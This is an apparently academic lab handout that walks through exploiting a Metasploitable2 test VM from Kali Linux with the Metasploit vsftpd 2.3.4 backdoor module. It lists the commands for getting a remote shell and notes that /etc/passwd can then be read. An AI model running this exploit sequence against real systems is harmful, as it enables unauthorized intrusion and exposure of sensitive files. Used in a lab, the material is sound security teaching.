**Lab-05**

1. Imagine you are a member of Red Team in a company, you have been assigned a penetration testing task to assess the security of a corporate network using Kali Linux and the Metasploit framework. Outline a step-by-step process for utilizing Metasploit to identify and exploit vulnerabilities within the network.

Ensure both the Kali Linux and Metasploitable2 virtual machines are up and running.

• Open Kali Linux terminal, type following cmds

# msfupdate—"Use this if metaspoilt-framework is more than two weeks old.Run msfupdate to get latest framework”

➢ msfconsole

➢ use exploit/unix/ftp/vsftpd\_234\_backdoor

➢ show options

➢ set RHOST 192.168.62.129

➢ exploit

➢ It will open the shell of target IP(metaspoiltable vm)

➢ Create a file say 1.txt with some contents, copy the file to another

new file.

➢ Now goto Metaspoiltable VM 2 and check the same file contents. ➢ Even the sensitive details such contents of /etc/passwd file also can be accessed.